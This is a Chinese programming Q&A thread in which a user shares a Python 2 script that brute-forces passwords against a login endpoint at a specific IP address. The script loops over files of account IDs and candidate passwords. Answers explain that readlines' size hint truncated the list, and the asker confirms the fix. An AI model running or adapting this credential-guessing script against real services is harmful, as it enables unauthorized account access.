网页爬虫 - python暴力破解密码的数据量问题

Question

我用自己的账号去尝试暴力破解，候选密码保存在本地txt文件。发现当候选密码较少时（大概几百几千个），可以正确找到密码，当数据较大（大概几十万个）的时候就找不到正确的密码，但是正确的密码就在文件里面了，这是为什么？

def try_pwd(userid,pwd):  #提交数据函数
    myurl = 'http://222.200.98.147/login!doLogin.action'
    postdata = urllib.urlencode({'account':userid, 'pwd':pwd, 'verifycode':''})
    header = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'}
    request = urllib2.Request(url=myurl, data=postdata, headers=header)
       
    try:
        acp_login = urllib2.urlopen(request,timeout=10)
    except urllib2.HTTPError,e:
        print e.reason,e.code
    re_info = acp_login.read()
       
    if re_info == '{"msg":"/login!welcome.action","status":"y"}':
        print 'ID:',userid
        print 'password:', pwd
        isfind = True
    else:
#         print 'None'
        isfind = False
    return isfind
    
    
start_time = time.time()
print 'Start...'
userID_file = open('e:\\userID.txt','r')   #userID.txt为账号文件
for userID in userID_file.readlines(100):
    userID = userID.strip('\n')
    pwd_file = open('e:\\pwd2.txt','r')      #pwd2.txt为密码文件
    for t_pwd in pwd_file.readlines(10000):
         t_pwd = t_pwd.strip('\r\n')
         isfind = try_pwd(userid=userID,pwd= t_pwd)
         if isfind == True:
             break
    if isfind == False:
         print userID, u'没有匹配'
    pwd_file.close()     

userID_file.close()
end_time = time.time()
print "total time: ",end_time-start_time

Answer 1

1.请贴代码
2.你确定你遍历完了所有密码吗

readlines(hint=-1)
Read and return a list of lines from the stream. hint can be specified to control the number of lines read: no more lines will be read if the total size (in bytes/characters) of all lines so far exceeds hint.

Note that it’s already possible to iterate on file objects using for line in file: ... without calling file.readlines().

https://docs.python.org/3.3/l...

你的代码只读了100行，正确的密码应该在100行以后

Answer 2

刚刚试了一下，去了readlines中的参数，又可以了 ?_?